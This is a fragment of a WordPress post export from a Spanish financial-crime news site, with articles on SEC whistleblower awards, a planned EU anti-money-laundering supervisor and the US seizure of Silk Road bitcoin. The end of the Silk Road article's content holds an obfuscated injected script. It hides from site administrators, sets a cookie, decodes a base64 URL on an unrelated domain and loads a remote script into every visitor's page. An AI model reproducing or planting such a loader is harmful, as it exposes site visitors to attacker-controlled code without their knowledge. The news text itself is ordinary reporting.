divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" 